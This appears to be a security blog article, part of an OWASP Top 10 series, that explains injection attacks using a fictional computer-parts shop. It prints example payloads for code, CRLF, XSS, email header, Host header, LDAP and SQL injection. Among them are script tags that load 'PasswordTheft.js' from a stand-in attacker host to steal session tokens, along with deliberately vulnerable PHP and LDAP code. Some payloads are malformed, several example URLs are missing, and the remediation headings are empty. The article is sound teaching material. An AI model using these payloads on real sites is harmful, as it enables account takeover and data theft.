Injection(Part 3/10) - OWASP Top 10
Injection
Background
Injection is a high-level term for an attack vector utilised by a threat actor and not the techniques used by a threat actor. There are a whole host of injection techniques which can be utilised which are arguably amongst the oldest and most dangerous web application attacks. Generally speaking, Injection is an attack vector which provides the opportunity to supply untrusted input to a program which is then processed altering the course of execution of that program. Supplying arbitrary code to a program which then alters the course of execution sounds more like an inconvenience rather than a risk, but it should be noted that Injection attack vectors are a real risk which can lead to data theft, data loss, loss of integrity, denial of service and full system compromise.
Those responsible for web security have for some time struggled with Injection based vulnerabilities for whole host of reasons, the most common being attack surface per web application is commonly very large making it difficult to cover all bases without a well implemented continuous testing plan. As mentioned previously, injection vulnerabilities are amongst the oldest, providing the opportunity for cyber security experts to understand and provide specific mitigating controls. However, this opportunity has also been utilised by threat actors who have produced tools that allow even inexperienced attackers to abuse these vulnerabilities.
Below is a list of the most common injection types seen in the wild:
Code Injection
Code Injection is one of the most common types of injection-based attack vectors which are achieved by exploiting poorly implemented input/output data validation vulnerabilities and handling of untrusted data leading to execution of arbitrary code execution. OWASP defines Code Injection as a general term for any attack type that consist of injecting code that is then interpreted and executed by the application. It should be noted that a threat actor is limited by the capabilities of the language used to exploit this vulnerability, for example, if a threat actor exploits a web application in PHP then they are restricted to the capabilities of PHP.?
CRLF Injection
Carriage Return Linefeed (CRLF) is a sequence of special characters in Hexadecimal (0x0D, 0x0A) utilised by the HTTP?protocol to signify end of line (Carriage Return “\r”) and new line (Line Feed “\n”) which is used to denote where HTTP headers begin and end. CRLF sequences are not malicious characters in themselves and do have a legitimate use, however, exploitable if user input is not sanitised adequately. The most common impact from CRLF injection attacks is log poising and HTTP response splitting, however, this has been observed in the wild to also facilitate attack other attack types (XSS, Cookie Injection, etc).??
Cross Site Scripting (XSS)
Cross Site Scripting (XSS) is a web security vulnerability when exploited by a threat actor will allow tampering of content delivered to an end user interacting with the vulnerable web application. An XSS vulnerability is exploited when input from a threat actor is processed within the application using insecure methods. Manipulation of a vulnerable web application is commonly achieved by a threat actor through malicious JavaScript. XSS can provide a range of possible attacks against end users such as session token theft, web content modification, social engineering and credential theft, further malicious content delivered, etc.
Email Injection
Email Injection based attacks can be found on web applications which have implemented contact forms which in practice are utilised to send email messages to their intended recipients. Commonly the contact forms set headers to be interpreted by an email library located on the web server hosting the vulnerable web application. The attached headers are processed into Simple Mail Transfer Protocol (SMTP) commands and finally processed by an allocated SMTP Server. Iterations of this attack type are often successful when contact forms requiring user input are submitted without adequate input validation providing an opportunity to introduce additional headers. Exploitation of an Email Injection vulnerability can be utilised by a threat actor for sending spam or Phishing based attacks.
Host Header Injection
Host Header Injection based attacks exploit the HTTP Host Header on vulnerable websites which handle the header value in an unsafe way. Web servers which implicitly trust incoming Host Headers and fails to validate or escape it adequately provide opportunities for Host Header injection which can be utilised to inject harmful payloads that have the ability to manipulate server-side behaviour.?
LDAP Injection
Lightweight Directory Access Protocol (LDAP) Injection based attacks look to exploit input validation vulnerabilities which in turn forced execution of queries to Lightweight Directory Access Protocol (LDAP) servers. LDAP use statements to access and manipulate information stored in a central directory (e.g., Active Directory) which contain a wealth of information about the internal network such as user credentials, staff names and roles, shared network resources, etc. Similar to most injection-based attacks, LDAP Injection can be exploited when an application insert unsanitized user input directly into an LDAP Statement, when combined with configuration failures modification of the LDAP tree is achievable.
OS Command Injection
Operating System (OS) Command Injection unlike some of the previously mentioned injection types attempt to exploit vulnerable applications with the intended purpose of executing arbitrary commands on its host operating system. A threat actor who successfully identifies and exploits an OS Command Injection can expect to be provided with the ability to execute commands with the same privileges as the application which is made possible by insufficient input validation. The impact of the type of attack is dependent on the privileges of the vulnerable web application, commonly access to the web server, sensitive data and full compromise is achievable.
SQL Injection (SQLi)
SQL Injection (SQLi) provides an opportunity to execute malicious SQL statements against databases connected to vulnerable web applications. SQL Injection vulnerabilities exploit weaknesses in user input validation when user input is used directly in SQL statements. A successful SQLi can provide an attacker with the ability to access, modify and delete data within the database, the data can range from sensitive information to credentials depending on what the database is storing.
Example of Code Injection
As mentioned, a threat actor is limited by the capabilities of the coding language used on the vulnerable web application, for example, PHP uses the ‘eval()’ function which evaluates a string as PHP code. In isolation this isn’t so much of an issue, however, introduce user input without adequate input validation and you have a recipe for disaster. To grasp an understanding of this type of attack let’s take look at an example, a business selling computer parts (conveniently named Computer Parts) has just gone live with their super secure website ‘https://computerparts.co.uk’. On visiting the website, you are presented with the following URL:
To the untrained eye there is nothing immediately wrong with the URL, however, by appending ‘phpinfo()’ and ‘system(‘id’)’ onto the end of two separate URLs information about the PHP version and services running on the web server are returned.
https://computerparts.co.uk/index.php?arg=1; phpinfo()
https://computerparts.co.uk/index.php?arg=1; system(‘id’)
To understand the vulnerable PHP function and idea of how user input is being handled is required, below is the backend PHP code which can be considered the unsafe culprit. The below section of code is storing the input of the ‘arg’ parameter retrieved via a GET request in the variable named ‘$x’, this is fed into the ‘eval()’ function which as we known evaluates a string as PHP code.
?$x = $_GET['arg'];
eval($x);
The below section of code provides an insight into what was happening in the background during the above example. During normal execution the ‘arg’ parameter is ‘1’ which is retrieved by a GET request and stored inside the ‘$x’ variable, finally the parameter ‘arg’ stored inside the ‘$x’ variable is passed to the ‘eval()’ function as a string but evaluated as PHP code. Now, a threat actor has changed the URL and appended ‘phpinfo()’ which has modified the arg parameter to ‘1; phpinfo()’ and stored this inside the ‘$x’ variable. Finally, the most dangerous part of the backend code, ‘eval($x)’ which takes the string ‘1; phpinfo()’ and executes it as PHP code returning information about PHP versioning. Although this is a trivial example of code injection exploiting badly implemented user input validation, the impact using similar techniques can provide a threat actor with a valid attack vector to gain remote access and even full compromise.
It should be noted that this is one simple example identified in one coding language and in one vulnerable function, this type of vulnerability can exist in multiple coding languages and multiple functions.?
Example of Carriage Return Linefeed (CRLF) Injection
A successful CRLF Injection has two main vulnerabilities; HTTP response splitting which can provide a threat actor with the ability to inject into HTTP headers or even add new HTTP headers, and Log File Injection which can provide a threat actor with the ability to add fake log entries. Log File Injection can be utilised to mask malicious activity during investigatory tasks conducted by security teams. To provide an example let’s return to the very secure Computer Parts website which is susceptible to HTTP response splitting. The web application has a custom HTTP header ‘X-User-Name’ which takes its value from a ‘GET’ parameter ‘user’, see below for the offending URL:
Similar to before, this URL does not pose any threat to the majority of users when visiting the website. However, a threat actor decides to probe this parameter where they discover the value of the parameter is directly fed into the custom header ‘X-User-Name’ which is now observed as:
X-User-Name: Admin
Up until this point this is expected behaviour (not the correct behaviour!),but now that a threat actor is aware of the correlation between the ‘user’ parameter and ‘X-User-Name’ header it is possible to exploit by utilising the Carriage Return (%0d) and Line Feed (%0a) encoded characters in the vulnerable URL. This injection forces the attacker-controlled JavaScript to be executed by ending the HTTP headers with the carriage return. Below is the URL submitted by the threat actor:
https://computerparts.com/index?user=admin%0d%0a%0d%0a<script>alert()</script>
Providing the new URL to the server which had bad implementations of user input validation the ‘X-User-Name’ take the entire value from the ‘user’ parameter which will execute the JavaScript and display an alert window, commonly used as a Proof of Concept (POC) for more sinister attack types. Again, as discussed, a very simple example of CRLF Injection which can be exploited in the wild with more adverse impacts such as Cross Site Scripting (XSS), Security Restriction bypass, Data extraction, etc.
Example of Cross Site Scripting (XSS)
Cross Site Scripting (XSS) aims to inject malicious code into otherwise safe websites, commonly utilising client-side JavaScript to delivery content to end users. Cross Site Scripting (XSS) based attacks can be categorised into three main attack types, persistent (Stored), reflective and DOM-Based XSS which is out of scope for this article. ?
Stored XSS
An example of stored Cross Site Scripting (XSS) can be found once again on the super secure fictional website of Computer Parts. As with much ecommerce-based websites a user is provided the ability to leave feedback on a purchased item, this is a helpful section for consumers but an absolute nightmare if adequate user input validation has not been deployed. To provide a better end user experience and gather feedback on some of the products Computer Parts are selling, the developers have implemented a place for users to leave reviews by installing a plugin is installing a plugin from a reputable source.
Brilliant! The website is now more functional for the end user. While that is correct it should be mentioned that the plugin installed was from a reputable source, but the plugin version is no longer in support. A threat actor identifies this older version of the reputable plugin which has detailed vulnerabilities associated with it, and you guessed it, one of those vulnerabilities is a stored XSS. Details of the CVE reveal it allows a threat actor to embed HTML tags within their review text without user input validation. Now the threat actor is aware of this vulnerability they can craft a string which is a combination of HTML and JavaScript.
Very good product! “<script src=https://MaliciousWebsite.com/PasswordTheft.js”></script>”
Submitting this review on the product page of an item means the malicious portion of the string is embedded. The ‘<script></script>’ define a client-side script to be executed and ‘src’ tags specify the URL of a source image. In this scenario when a user visits the same page the ‘PasswordTheft.js’ file with execute in their browser which steal the user’s session token allowing a threat actor to impersonate the victim user account including access to the information contained on said account (e.g., Banking Details, Personal Information, etc)
Reflective XSS
Reflected Cross Site Script (XSS) are as the name suggests, a malicious script reflect off the web application to the user browser, commonly executed via a link. The vulnerability is exploitable by a threat actor due to poor user input sanitisation and validation. However, unlike stored XSS which simply requires a user to visit the compromised web page, a reflective XSS requires distribution of a malicious link and willingness to click the link. Using the same scenario from the stored XSS, the developers have identified the stored XSS and remediated but little do they know the threat actor identified a reflective XSS which they are yet to identify and remediate. The threat actor crafts the following malicious link:
https://ComputerParts.com?Page=Product123<\script%20src”= https://MaliciousWebsite.com/PasswordTheft.js”
The threat actor embeds this into an email and sends it to users who use Computer Parts website (enumerated from Computer Parts forums). At this point, execution of the malicious link is no longer in the hands of the threat actor, but the use of social engineering techniques and familiar start of the URL can trick a user into clicking this link. For the purpose of the example, a user clicks on the malicious link which takes them to the vulnerable product page on “ComputerParts.com” and requests them to login. The user provides a username and password to login to their account where the “PasswordTheft.js” file has been running in the background capturing session tokens and feeding them back to the threat actor. Similar to the Stored XSS scenario, the threat actor now is possession of a user’s session token can access the users account (e.g., Banking Details, Personal Information, etc).
Example of Email Injection
The developers of the Computer Parts have been through a lot at this point with some very high priority vulnerabilities which they feel they have identified and remediated. However, to help with the remediation process they have embedded a contact form for users to get in contact with developers over any technical issues they may face while navigating the website. A user finds what they think is a technical issue while trying to buy a product so use the new contact form to send an email to the developers. On the form are two input fields which require the users name and email address. The POST request for this email would look like the following:
POST /contact.php HTTP/1.1
Host: www.ComputerParts.com
name=User &[email protected]&message=Issue on buy page
All working as expected. However, this contact form can contain a serious vulnerability which can be exploited by a threat actor, specifically an error in the PHP backend code which allows unvalidated user input and prepares a list of headers. Below is the vulnerable code which generates the above POST request:
$headers = "From: $name \n" .
"Reply-To: $replyto";
mail($to, $subject, $message, $headers);
A threat actor has identified the vulnerable backend PHP code and crafted a method to exploit it. Understanding that headers are generated based on the input from the two fields included on the contact form the threat actor input the following string into the name field:
Name: User\nbcc [email protected]
领英推荐
Email: [email protected]
Message: Bad Page
In the background this request generates the following POST request based on the vulnerable backend PHP code which now as before sends the email to the developers, but an added email address has been included under the ‘bcc’ header which will be unseen by sender or receiver.
POST /contact.php HTTP/1.1
Host: www.ComputerParts.com
name= User\nbcc [email protected] &[email protected]&message=Bad Page
Based on the non-existent user input validation and bad implementation of the contact form by developers and threat actor has managed to identify a method to inject arbitrary SMTP headers with set values. In this example, the ‘BCC’ (Blind Carbon Copy) has been added with the arbitrary email address ‘[email protected]’ who will receive a copy of the same email without the knowledge of the developer. The email library will convert the ‘BCC’ into ‘RCPT TO’ SMTP command. This vulnerability can be exploited by a threat actor to send spam or Phishing to multiple email addresses using the ‘BCC’ and in turn ‘RCPT TO’ via the name field on the vulnerable contact form. As an added bonus the email address sending the malicious emails via ‘BCC’ will unknowingly be from the legitimate ‘ComputerParts’ domain.??????
Example of Host Head Injection
The developers at Computer Parts have decided to open a second website which supports strictly business who want to purchase for business and not personal use. However, the company have only got single IP which the original ComputerParts.com website from previous examples is allocated to, however with the use of Host Headers it is possible to have two web applications use the same IP. When a user’s browser sends a request to an IP which has multiple domains allocated to it the host header it utilised to determine which domain or backend the request is intended for.
A threat actor is actively probing both ‘Computer Parts’ websites looking for any vulnerabilities which can be exploited and identifies a Host Header which does not handle the value in a safe way and implicitly trusts the value of the Host Header. The threat actor takes a list of usernames from the review section of products, taking one of those usernames the threat actor generates a “Forgotten Password” request with the found username. Using various tools, the threat actor captures this request before it is sent and modified the Host Header to a domain they control. As the host header handles user input in an unsafe way, it tries to validate the user input.
After: https://MaliciousWebsite.com/PasswordReset/rest?token=0y2nd374k2h8i
When the victim clicks the link, the password reset token will be delivered to the attacker’s server (https://MaliciousWebsite.com) where the threat actor can now access the legitimate reset token via the URL token parameter named ‘token’. This provides the threat actor with the ability to change the user’s password and subsequently log into their account. As with the previous example this is a simplified example showing a proof of concept. In real life, this attack vector commonly requires more effort from a threat actor. For example, a threat actor would need to convince the user to click the link via various social engineering techniques.
Example of Lightweight Directory Access Protocol (LDAP) Injection
Lightweight Directory Access Protocol (LDAP) Injection is used for a variety of functions (e.g., Domain Authentication, Single Sign On (SSO), etc) which only increases the severity of this type of injection. The usual operation of LDAP works through the use of LDAP queries which looks for a directory entry matched to a specific filter following the specified syntax listed under RFC4515. Lack of user input validation is a common cause for LDAP Injection vulnerabilities which provide threat actors the ability to exploit LDAP queries.
A developer for the Computer Parts organisation adds a portal onto the organisation’s website ‘www.ComputerParts.com’ which is accessible via Active Directory credentials provided to each user within the business. As part of this new feature the following JavaScript code snippet has been added to handle authentication via LDAP queries:
filterContent = "(&(userName=" + enteredUser + ")(pass=" + enteredPass + "))"
A developer authenticates to the portal with ‘admin:admin’ which generated the following LDAP query which checks against listed Active Directory (AD) credentials:
(&(userName=admin)(pass=admin))
The credentials entered are valid which provides an authenticated session to the staff portal via the Computer Parts website. However, the JavaScript code snippet above used to handle authentication is vulnerable to LDAP Injection as it takes unsanitized user input and places it directly into a LDAP query. A threat actor identifies this vulnerability and identifies the login portal, probing this portal and attempting to login with fake credentials identifies the LDAP implementation. Capturing the LDAP authentication query before it reaches the LDAP server the threat actor can alter the values of the query to provide a statement that is always true regardless of valid credentials or not. Providing the below LDAP query exploits the lack of user input validation:
(&(userID=*)(userID=*))(|(userID=*)(password=admin))
This provides a threat actor with the ability to authenticate without the requirement for valid credentials. However, authentication bypass is only one aspect achievable when exploiting LDAP Injection vulnerabilities, information disclosure is just another example of what can be achieved.
Example of Operating System (OS) Command Injection
Operating System (OS) Command Injection is different to code injection and the other injection types discussed so far; code injection-based attacks insert new code into a vulnerable application such that it executes, commonly due to improper input validation controls and limited to the functionality of the exploited application. Command injection-based attacks modifies the default function of the application that executes system commands commonly providing access to server or systems with the privileges of the application compromised.
The Computer Parts website allows users to check stock level of items on the website before ordering, this information is provided via the following URL:
The information on stock levels is stored on a server on the backend of the infrastructure which is queried using shell commands containing the product ID and the Store ID, this is then returned to the user on the website. The developers have implemented this handy function for end user experience but have not considered the security around the added functionality. The two URL parameters ‘prodID’ and ‘StoreID’ will take input from the user without validation providing a threat actor the ability to have operating system commands executed. Take the following URL for example:
The threat actor has replaced the ‘prodID’ value with the shell commands ‘echo “Working”’ as a Proof of Concept (POC) to test the capabilities of the vulnerabilities. The string “Working” is returned which signifies that the shell command “echo “Working”’ was executed on the backend and returned to the user. This vulnerability was exploitable based on the lack of user input validation and character validation as a whole. ?
Example of SQL Injection (SQLi)
SQL Injection (SQLi) is similar to many injection type attacks in the methods used to exploit them, however, this injection types are specifically aimed at exploiting backend databases. The Computer Parts website utilises SQL databases on the backend to store large data sets such as product and stock levels. A user navigates the Computer Parts website to a particular part they are interested in buying, the following URL is presented to the user:
The backend database is queried with the following SQL statement which contains various pieces of information related to the product and presented to the user on the product page. The statement is pulling the ‘Item Name’, ‘Item Description’ and ‘Item Price’ from the backend SQL database table ‘Items’ and column where ‘Item Number’ is equal to ‘1234’.
SELECT ItemName, ItemDescription, ItemPrice
FROM Items
WHERE ItemNumber = 1234
The ‘ItemNumber’ is included in the website URL under the parameter ‘prodID’ which is directly modifiable by the user, the SQLi vulnerability is exploited when the value of the parameter has lack of user input validation and the value implemented into a SQL query without adequate checks. A threat actor identifies the SQLi vulnerabilities and modifies the URL for the product numbered ‘1234’:
Adding ‘OR 1=1’ creates a statement which is always true meaning the threat actor can return ‘ItemName’, ‘ItemDescription’ and ‘ItemPrice’ for all Items in the ‘Items’ table. While this might not seem dangerous, a threat actor could go on to add malicious commands such as ‘DROP TABLE USERS’ which could delete the entire table causing mass disruption, change pricing for products, etc.
Summary
The term ‘Injection’ covers a whole range of vulnerabilities which are found in a range of different technologies and frameworks, as part of this I have covered the most common types of injection but not all. However, the majority of injection types are exploitable because of overlooked security implementations such as user input validation. A general rule of thumb should be that all data supplied by the user is untrusted and treated accordingly, user controllable areas of web applications should have additional input filtering implementations. Each of the injection attacks regardless of attack vector can cause serious adverse effects not just against vulnerable web applications but also against infrastructure on the backend leading to further compromise of organisational assets.
Fortunately, there are a range of controls which can be deployed across your infrastructure which can prevent, detect, and alert to specific injection vulnerabilities. Below I will discuss some of the mitigations which can be implemented for each of the injection-based attacks. However, it is strongly recommended that these mitigations are tested before implementation into your environments to circumvent any possible issues these could introduce as a result of implementation.
Remediation Steps
Code Injection
The remediation steps in this section can also be applied to many of the specific Injection attack types mentioned below.
?CRLF Injection
Cross Site Scripting (XSS)
Email Injection
Host Header Injection
LDAP Injection
OS Command Injection
SQL Injection (SQLi)
In our next series we will delve into Insecure Design and the remediations you can implement.?